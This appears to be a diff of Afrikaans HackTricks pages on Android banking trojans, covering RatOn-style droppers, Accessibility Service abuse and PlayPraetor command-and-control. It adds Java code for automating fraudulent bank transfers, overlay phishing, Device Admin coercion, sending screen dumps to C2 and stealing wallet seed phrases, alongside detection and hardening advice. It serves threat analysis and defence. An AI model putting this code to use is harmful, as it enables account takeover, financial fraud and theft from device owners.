Na installasie, begin die dropper die payload via eksplisiete package/activity:
|
||||||
|
```java
|
||||||
|
Intent i = new Intent();
|
||||||
|
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
||||||
|
startActivity(i);
|
||||||
|
```
|
||||||
|
Hunting idea: onbetroubare apps wat `addJavascriptInterface()` aanroep en installer-agtige metodes aan WebView blootstel; APK wat 'n ingeslote sekondêre payload onder `assets/` versend en die Package Installer Session API aanroep.
|
||||||
|
|
||||||
|
### Toestemmingstrechter: Accessibility + Device Admin + follow-on runtime prompts
|
||||||
|
Stage-2 open 'n WebView wat 'n “Access” bladsy huisves. Sy knoppie roep 'n exported method aan wat die slagoffer na die Accessibility-instellings navigeer en vra om die rogue service te aktiveer. Sodra dit toegestaan is, gebruik malware Accessibility om outomaties deur opvolgende runtime permission dialogs (contacts, overlay, manage system settings, ens.) te klik en versoek Device Admin.
|
||||||
|
|
||||||
|
- Accessibility programmeerbaar help om later versoeke te aanvaar deur knoppies soos “Allow”/“OK” in die node-tree te vind en klikke te stuur.
|
||||||
|
- Overlay permission check/request:
|
||||||
|
```java
|
||||||
|
if (!Settings.canDrawOverlays(ctx)) {
|
||||||
|
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
|
||||||
|
Uri.parse("package:" + ctx.getPackageName()));
|
||||||
|
ctx.startActivity(i);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
See also:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### Oorskerm phishing/ransom via WebView
|
||||||
|
Operateurs kan opdragte gee om:
|
||||||
|
- toon 'n volskerm-oorskerm vanaf 'n URL, of
|
||||||
|
- stuur inline HTML wat in 'n WebView-oorskerm gelaai word.
|
||||||
|
|
||||||
|
Waarskynlike gebruike: dwang (PIN-invoer), wallet-openings om PIN's vas te vang, ransom-boodskappe. Hou 'n opdrag om te verseker dat die overlay-toestemming gegee is indien dit ontbreek.
|
||||||
|
|
||||||
|
### Remote control model – teks pseudo-skerm + screen-cast
|
||||||
|
- Lae-bandwydte: periodies die Accessibility node-boom uitgooi, sigbare tekste/rolle/bounds serialiseer en na C2 stuur as 'n pseudo-skerm (opdragte soos `txt_screen` eenmalig en `screen_live` voortdurend).
|
||||||
|
- Hoë-fideliteit: versoek MediaProjection en begin screen-casting/recording op aanvraag (opdragte soos `display` / `record`).
|
||||||
|
|
||||||
|
### ATS playbook (bank app outomatisering)
|
||||||
|
Gegee 'n JSON-taak, open die bank-app, bestuur die UI via Accessibility met 'n mengsel van teksnavrae en koördinaat-tappe, en voer die slagoffer se betaal-PIN in wanneer daar om gevra word.
|
||||||
|
|
||||||
|
Example task:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"cmd": "transfer",
|
||||||
|
"receiver_address": "ACME s.r.o.",
|
||||||
|
"account": "123456789/0100",
|
||||||
|
"amount": "24500.00",
|
||||||
|
"name": "ACME"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Example texts seen in one target flow (CZ → EN):
|
||||||
|
- "Nová platba" → "Nuwe betaling"
|
||||||
|
- "Zadat platbu" → "Voer betaling in"
|
||||||
|
- "Nový příjemce" → "Nuwe ontvanger"
|
||||||
|
- "Domácí číslo účtu" → "Inlandse rekeningnommer"
|
||||||
|
- "Další" → "Volgende"
|
||||||
|
- "Odeslat" → "Stuur"
|
||||||
|
- "Ano, pokračovat" → "Ja, gaan voort"
|
||||||
|
- "Zaplatit" → "Betaal"
|
||||||
|
- "Hotovo" → "Klaar"
|
||||||
|
|
||||||
|
Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
|
||||||
|
|
||||||
|
### Crypto wallet seed extraction
|
||||||
|
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
|
||||||
|
|
||||||
|
### Device Admin coercion
|
||||||
|
Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
|
||||||
|
|
||||||
|
- Immediate lock:
|
||||||
|
```java
|
||||||
|
dpm.lockNow();
|
||||||
|
```
|
||||||
|
- Laat huidige credential verval om verandering af te dwing (Accessibility vang nuwe PIN/password op):
|
||||||
|
```java
|
||||||
|
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
||||||
|
```
|
||||||
|
- Dwing nie-biometriese ontsluiting deur keyguard se biometriese funksies uit te skakel:
|
||||||
|
```java
|
||||||
|
dpm.setKeyguardDisabledFeatures(admin,
|
||||||
|
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||||
|
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
||||||
|
```
|
||||||
|
Let wel: Baie DevicePolicyManager-beheer vereis Device Owner/Profile Owner op onlangse Android; sommige OEM-bouwerk kan laks wees. Valideer altyd op die teiken OS/OEM.
|
||||||
|
|
||||||
|
### NFC-relay orkestrasie (NFSkate)
|
||||||
|
Stage-3 kan 'n eksterne NFC-relaismodule installeer en begin (e.g., NFSkate) en selfs 'n HTML-sjabloon daaraan oorhandig om die slagoffer tydens die relais te lei. Dit maak kontakslose card-present cash-out moontlik tesame met aanlyn ATS.
|
||||||
|
|
||||||
|
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||||
|
|
||||||
|
### Operator command set (sample)
|
||||||
|
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
|
||||||
|
- Social: `send_push`, `Facebook`, `WhatsApp`
|
||||||
|
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
||||||
|
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
|
||||||
|
- ATS: `transfer`, `check_limit`, `limit`
|
||||||
|
- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
||||||
|
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||||
|
- NFC: `nfs`, `nfs_inject`
|
||||||
|
|
||||||
|
### Detection & defence ideas (RatOn-style)
|
||||||
|
- Soek na WebViews met `addJavascriptInterface()` wat installer-/permission-metodes blootstel; bladsye wat eindig op “/access” wat Accessibility-promptte uitlok.
|
||||||
|
- Waarsku op apps wat kort ná verkryging van service-toegang 'n hoë tempo Accessibility-gebare/klikke genereer; telemetrie wat lyk soos Accessibility node dumps na C2 gestuur word.
|
||||||
|
- Houd dop vir Device Admin-beleidwysigings in onbetroubare apps: `lockNow`, password expiration, keyguard feature toggles.
|
||||||
|
- Waarsku vir MediaProjection-promptte van nie-korporatiewe apps wat gevolg word deur periodieke raamoplaaie.
|
||||||
|
- Detecteer die installasie/aanvang van 'n eksterne NFC-relais-app wat deur 'n ander app getrigger word.
|
||||||
|
- Vir bankdienste: dwing out-of-band bevestigings af, biometrie-binding, en transaksie-limiete af wat weerstandbiedend is teen on-device automatisering.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||||
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||||
|
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||||
|
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,24 +1,24 @@
|
|||||||
# Android Accessibility Service Abuse
|
# Misbruik van Android Accessibility Service
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Oorsig
|
## Oorsig
|
||||||
|
|
||||||
`AccessibilityService` is geskep om gebruikers met gestremdhede te help om met Android-toestelle te kommunikeer. Ongelukkig kan dieselfde **kragtige outomatiserings-API's** (globale navigasie, teksinvoer, gebaarverspreiding, oortjievensters…) deur malware gebruik word om **volledige afstandbeheer** van die toestel _sonder wortelregte_ te verkry.
|
`AccessibilityService` is geskep om gebruikers met gestremdhede te help om met Android-toestelle te kommunikeer. Ongelukkig kan dieselfde **kragtige automatiserings-API's** (global navigation, text input, gesture dispatch, overlay windows…) deur malware gewapen word om **volle afstandbeheer** oor die handset te verkry _sonder root-bevoegdhede_.
|
||||||
|
|
||||||
Moderne Android-banking Trojans en Remote-Access-Trojans (RATs) soos **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** en vele ander volg dieselfde resep:
|
Moderne Android-banking-Trojans en Remote-Access-Trojans (RATs) soos **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** en baie ander volg dieselfde resep:
|
||||||
|
|
||||||
1. Sosiaal-ingenieurswerk die slagoffer om 'n onwettige toeganklikheidsdiens in te skakel (die *BIND_ACCESSIBILITY_SERVICE* toestemming word beskou as "hoog-risiko" en vereis 'n eksplisiete gebruikersaksie).
|
1. Social-engineer die slagoffer om 'n kwaadaardige accessibility service te aktiveer (die *BIND_ACCESSIBILITY_SERVICE* toestemming word as "high-risk" beskou en vereis 'n eksplisiete gebruikersaksie).
|
||||||
2. Maak gebruik van die diens om
|
2. Benut die service om
|
||||||
* elke UI-gebeurtenis & teks wat op die skerm verskyn, vas te vang,
|
* elke UI-gebeurtenis en teks wat op die skerm verskyn vas te vang,
|
||||||
* sintetiese gebare (`dispatchGesture`) en globale aksies (`performGlobalAction`) in te spuit om enige taak wat die operateur wil, te outomatiseer,
|
* sintetiese gebare in te spuit (`dispatchGesture`) en global actions (`performGlobalAction`) te gebruik om enige taak wat die operateur wil te outomatiseer,
|
||||||
* volle skerm oortjies bo-op wettige apps te teken met die **TYPE_ACCESSIBILITY_OVERLAY** venstertipe (geen `SYSTEM_ALERT_WINDOW` prompt!),
|
* volskerm-overlaye bo-op regmatige apps te teken deur die **TYPE_ACCESSIBILITY_OVERLAY** venstertipe te gebruik (geen `SYSTEM_ALERT_WINDOW` prompt nie!),
|
||||||
* stilweg addisionele tydsbeperkings te verleen deur op die stelseldialoë op die slagoffer se naam te klik.
|
* stilswyend addisionele runtime-toestemmings te verleen deur op die stelseldialoë namens die slagoffer te klik.
|
||||||
3. Gegevens uit te voer of **On-Device-Fraud (ODF)** in werklike tyd uit te voer terwyl die gebruiker na 'n heeltemal normale skerm kyk.
|
3. Eksfiltreer data of voer **On-Device-Fraud (ODF)** in real-time uit terwyl die gebruiker na 'n heeltemal normale skerm kyk.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Aansoek om die toestemming
|
## Toestemming aanvra
|
||||||
```xml
|
```xml
|
||||||
<!-- AndroidManifest.xml -->
|
<!-- AndroidManifest.xml -->
|
||||||
<service
|
<service
|
||||||
@ -34,7 +34,7 @@ android:exported="false">
|
|||||||
android:resource="@xml/evil_accessibility_config"/>
|
android:resource="@xml/evil_accessibility_config"/>
|
||||||
</service>
|
</service>
|
||||||
```
|
```
|
||||||
Die metgesel XML definieer hoe die vals dialoog sal lyk:
|
Die begeleidende XML definieer hoe die vals dialoog sal lyk:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/>
|
|||||||
```
|
```
|
||||||
---
|
---
|
||||||
|
|
||||||
## Afgeleë UI outomatisering primitiewe
|
## Afstands-UI-outomatisering primiewe
|
||||||
```java
|
```java
|
||||||
public class EvilService extends AccessibilityService {
|
public class EvilService extends AccessibilityService {
|
||||||
@Override
|
@Override
|
||||||
@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Met slegs hierdie twee API's kan 'n aanvaller:
|
Met net hierdie twee APIs kan 'n aanvaller:
|
||||||
* Die skerm ontgrendel, die banktoepassing oopmaak, deur die UI-boom navigeer en 'n oordragvorm indien.
|
* Ontsluit die skerm, open die bank-app, navigeer deur sy UI-boom en dien 'n oordragvorm in.
|
||||||
* Elke toestemmingsdialoog wat verskyn, aanvaar.
|
* Aanvaar elke toestemmingsdialoog wat opduik.
|
||||||
* Bykomende APK's via die Play Store-intensie installeer/opdateer.
|
* Installeer/opdateer ekstra APKs via die Play Store intent.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Misbruik patrone
|
## Misbruikpatrone
|
||||||
|
|
||||||
### 1. Overlay Phishing (Credential Harvesting)
|
### 1. Overlay Phishing (Credential Harvesting)
|
||||||
'n Deursigtige of ondoorsee `WebView` word by die vensterbestuurder gevoeg:
|
'n Deursigtige of ondoorzichtige `WebView` word by die window manager gevoeg:
|
||||||
```java
|
```java
|
||||||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||||||
MATCH_PARENT, MATCH_PARENT,
|
MATCH_PARENT, MATCH_PARENT,
|
||||||
@ -87,41 +87,41 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
|
|||||||
PixelFormat.TRANSLUCENT);
|
PixelFormat.TRANSLUCENT);
|
||||||
wm.addView(phishingView, lp);
|
wm.addView(phishingView, lp);
|
||||||
```
|
```
|
||||||
Die slagoffer tik geloofsbriewe in die vals vorm terwyl die agtergrondtoepassing dieselfde gebare ontvang – geen verdagte "teken oor ander toepassings" prompt word ooit gewys nie.
|
Die slagoffer tik inlogbesonderhede in die vals vorm terwyl die agtergrond-app dieselfde gebare ontvang – geen verdagte "draw over other apps" prompt word ooit gewys nie.
|
||||||
|
|
||||||
> Gedetailleerde voorbeeld: die *Accessibility Overlay Phishing* afdeling binne die Tapjacking bladsy.
|
> Gedetaileerde voorbeeld: die *Accessibility Overlay Phishing* afdeling binne die Tapjacking-bladsy.
|
||||||
|
|
||||||
### 2. Toestel-fraude outomatisering
|
### 2. Op-toestel bedrog-automatisering
|
||||||
Malware-families soos **PlayPraetor** handhaaf 'n volgehoue WebSocket-kanaal waar die operateur hoëvlakopdragte kan gee (`init`, `update`, `alert_arr`, `report_list`, …). Die diens vertaal daardie opdragte in die laagvlak gebare hierbo, wat werklike tyd ongeoorloofde transaksies bereik wat maklik multi-faktor-authentisering wat aan daardie spesifieke toestel gekoppel is, omseil.
|
Malware-families soos **PlayPraetor** onderhou 'n volgehoue WebSocket-kanaal waar die operateur hoëvlak-opdragte kan uitreik (`init`, `update`, `alert_arr`, `report_list`, …). Die diens omskakel daardie opdragte na die laevlak-gebare hierbo, wat regstreekse ongemagtigde transaksies moontlik maak en maklik multi-factor-authentication wat aan daardie toestel gekoppel is omseil.
|
||||||
|
|
||||||
### 3. Skerm streaming & monitering
|
### 3. Skermstreaming & monitering
|
||||||
Deur die **MediaProjection API** met 'n RTMP-kliëntbiblioteek te kombineer, kan die RAT die lewendige framebuffer na `rtmp://<c2>:1935/live/<device_id>` uitsaai, wat die teenstander perfekte situasionele bewustheid gee terwyl die Accessibility enjin die UI dryf.
|
Deur die **MediaProjection API** met 'n RTMP client-biblioteek te kombineer, kan die RAT die lewendige framebuffer na `rtmp://<c2>:1935/live/<device_id>` uitsaai, wat die teenstander perfekte situasiebewustheid gee terwyl die Accessibility-enjin die UI bestuur.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## PlayPraetor – opdrag & beheer werksvloei
|
## PlayPraetor – command & control werkvloei
|
||||||
|
|
||||||
1. **HTTP(S) hartklop** – herhaal oor 'n hard-gecodeerde lys totdat een domein `POST /app/searchPackageName` met die aktiewe C2 antwoordgee.
|
1. **HTTP(S) heartbeat** – iterate oor 'n hard-coded lys totdat een domein `POST /app/searchPackageName` beantwoord met die aktiewe C2.
|
||||||
2. **WebSocket (poort 8282)** – bidireksionele JSON opdragte:
|
2. **WebSocket (port 8282)** – wisselrigting JSON-opdragte:
|
||||||
* `update` – druk nuwe conf/APKs
|
* `update` – stuur nuwe conf/APKs
|
||||||
* `alert_arr` – konfigureer oortrek templates
|
* `alert_arr` – konfigureer overlay-sjablone
|
||||||
* `report_list` – stuur lys van geteikende pakketname
|
* `report_list` – stuur lys van geteikende pakketname
|
||||||
* `heartbeat_web` – hou-leef
|
* `heartbeat_web` – keep-alive
|
||||||
3. **RTMP (poort 1935)** – lewendige skerm/video streaming.
|
3. **RTMP (port 1935)** – lewendige skerm-/video-streaming.
|
||||||
4. **REST eksfiltrasie** –
|
4. **REST exfiltration** –
|
||||||
* `/app/saveDevice` (vingerafdruk)
|
* `/app/saveDevice` (vingerafdruk)
|
||||||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||||||
* `/app/saveCardPwd` (bank geloofsbriewe)
|
* `/app/saveCardPwd` (bank creds)
|
||||||
|
|
||||||
Die **AccessibilityService** is die plaaslike enjin wat daardie wolkopdragte in fisiese interaksies omskakel.
|
Die **AccessibilityService** is die plaaslike enjin wat daardie wolk-opdragte in fisiese interaksies omskakel.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Opsporing van kwaadwillige toegankelijkheidsdienste
|
## Opspoor van kwaadwillige accessibility-dienste
|
||||||
|
|
||||||
* `adb shell settings get secure enabled_accessibility_services`
|
* `adb shell settings get secure enabled_accessibility_services`
|
||||||
* Instellings → Toeganklikheid → *Afgelaaide dienste* – soek vir toepassings wat **nie** van Google Play is nie.
|
* Settings → Accessibility → *Downloaded services* – kyk vir apps wat **nie** vanaf Google Play is nie.
|
||||||
* MDM / EMM oplossings kan `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) afdwing om sideloaded dienste te blokkeer.
|
* MDM / EMM-oplossings kan `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) afdwing om sideloaded dienste te blokkeer.
|
||||||
* Analiseer lopende dienste:
|
* Analiseer lopende dienste:
|
||||||
```bash
|
```bash
|
||||||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||||||
@ -129,17 +129,104 @@ adb shell dumpsys accessibility | grep "Accessibility Service"
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Versterking aanbevelings vir toepassingsontwikkelaars
|
## Aanbevelings vir verharding vir app-ontwikkelaars
|
||||||
|
|
||||||
* Merk sensitiewe uitsigte met `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
* Merk sensitiewe views met `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
||||||
* Kombineer `setFilterTouchesWhenObscured(true)` met `FLAG_SECURE` om tik/oortrek kaping te voorkom.
|
* Kombineer `setFilterTouchesWhenObscured(true)` met `FLAG_SECURE` om tap-/overlay-kaping te voorkom.
|
||||||
* Ontdek oortreks deur `WindowManager.getDefaultDisplay().getFlags()` of die `ViewRootImpl` API te pols.
|
* Detecteer overlays deur `WindowManager.getDefaultDisplay().getFlags()` of die `ViewRootImpl` API te polleer.
|
||||||
* Weier om te werk wanneer `Settings.canDrawOverlays()` **of** 'n nie-vertroude Accessibility diens aktief is.
|
* Weier om te werk wanneer `Settings.canDrawOverlays()` **of** 'n nie-vertroude Accessibility service aktief is.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ATS automation cheat-sheet (Accessibility-driven)
|
||||||
|
Malware kan 'n bank-app volledig outomatiseer slegs met Accessibility APIs. Generiese primitiewe:
|
||||||
|
```java
|
||||||
|
// Helpers inside your AccessibilityService
|
||||||
|
private List<AccessibilityNodeInfo> byText(String t){
|
||||||
|
AccessibilityNodeInfo r = getRootInActiveWindow();
|
||||||
|
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
|
||||||
|
}
|
||||||
|
private boolean clickText(String t){
|
||||||
|
for (AccessibilityNodeInfo n: byText(t)){
|
||||||
|
if (n.isClickable()) return n.performAction(ACTION_CLICK);
|
||||||
|
AccessibilityNodeInfo p = n.getParent();
|
||||||
|
if (p != null) return p.performAction(ACTION_CLICK);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
private void inputText(AccessibilityNodeInfo field, String text){
|
||||||
|
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
|
||||||
|
field.performAction(ACTION_SET_TEXT, b);
|
||||||
|
}
|
||||||
|
private void tap(float x, float y){
|
||||||
|
Path p = new Path(); p.moveTo(x,y);
|
||||||
|
dispatchGesture(new GestureDescription.Builder()
|
||||||
|
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Voorbeeldvloei (Czech → Engelse etikette):
|
||||||
|
- "Nová platba" (Nuwe betaling) → klik
|
||||||
|
- "Zadat platbu" (Voer betaling in) → klik
|
||||||
|
- "Nový příjemce" (Nuwe ontvanger) → klik
|
||||||
|
- "Domácí číslo účtu" (Inlandse rekeningnommer) → fokus en `ACTION_SET_TEXT`
|
||||||
|
- "Další" (Volgende) → klik → … "Zaplatit" (Betaal) → klik → voer PIN in
|
||||||
|
|
||||||
|
Valopsie: hardgekodeerde koördinate met `dispatchGesture` wanneer teksopsoek misluk weens pasgemaakte widgets.
|
||||||
|
|
||||||
|
Ook waargeneem: voorafstappe na `check_limit` en `limit` deur na die limiete UI te navigeer en daaglikse limiete te verhoog voor die oordrag.
|
||||||
|
|
||||||
|
## Teksgebaseerde pseudo-skermstreaming
|
||||||
|
Vir lae-latensie afstandbeheer, in plaas van volledige video-streaming, skryf 'n tekstuele voorstelling van die huidige UI-boom uit en stuur dit herhaaldelik na C2.
|
||||||
|
```java
|
||||||
|
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
|
||||||
|
if (n==null) return;
|
||||||
|
Rect b = new Rect(); n.getBoundsInScreen(b);
|
||||||
|
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
|
||||||
|
sb.append(indent).append("[").append(cls).append("] ")
|
||||||
|
.append(txt==null?"":txt).append(" ")
|
||||||
|
.append(b.toShortString()).append("\n");
|
||||||
|
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Dit is die basis vir opdragte soos `txt_screen` (eenmalig) en `screen_live` (deurlopend).
|
||||||
|
|
||||||
|
## Device Admin dwangprimitiewe
|
||||||
|
Sodra 'n Device Admin-ontvanger geaktiveer is, verhoog hierdie oproepe die geleenthede om credentials te onderskep en beheer te behou:
|
||||||
|
```java
|
||||||
|
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
|
||||||
|
ComponentName admin = new ComponentName(this, AdminReceiver.class);
|
||||||
|
|
||||||
|
// 1) Immediate lock
|
||||||
|
dpm.lockNow();
|
||||||
|
|
||||||
|
// 2) Force credential change (expire current PIN/password)
|
||||||
|
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
|
||||||
|
|
||||||
|
// 3) Disable biometric unlock to force PIN/pattern entry
|
||||||
|
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||||
|
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
|
||||||
|
dpm.setKeyguardDisabledFeatures(admin, flags);
|
||||||
|
```
|
||||||
|
Let wel: die presiese beskikbaarheid van hierdie beleidsreëls verskil per Android-weergawe en OEM; valideer die device policy rol (admin vs owner) tydens toetsing.
|
||||||
|
|
||||||
|
## Crypto wallet seed-phrase extraction patterns
|
||||||
|
Waargenome vloei vir MetaMask, Trust Wallet, Blockchain.com en Phantom:
|
||||||
|
- Ontsluit met gesteelde PIN (vasgevang via overlay/Accessibility) of die voorsien wallet-wagwoord.
|
||||||
|
- Navigeer: Settings → Security/Recovery → Reveal/Show recovery phrase.
|
||||||
|
- Versamel frase via keylogging die text nodes, secure-screen bypass, of screenshot OCR wanneer teks verskuil is.
|
||||||
|
- Ondersteun meerdere locales (EN/RU/CZ/SK) om selectors te stabiliseer – gee voorkeur aan `viewIdResourceName` waar beskikbaar, val terug op meertalige teksvergelyking.
|
||||||
|
|
||||||
|
## NFC-relay orchestration
|
||||||
|
Accessibility/RAT modules kan installeer en lanceer 'n toegewyde NFC-relay app (bv., NFSkate) as 'n derde fase en selfs 'n overlay-gids injekteer om die slagoffer deur kaart-aanwesige relay-stappe te lei.
|
||||||
|
|
||||||
|
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Verwysings
|
## Verwysings
|
||||||
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||||||
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||||||
|
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||||
|
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user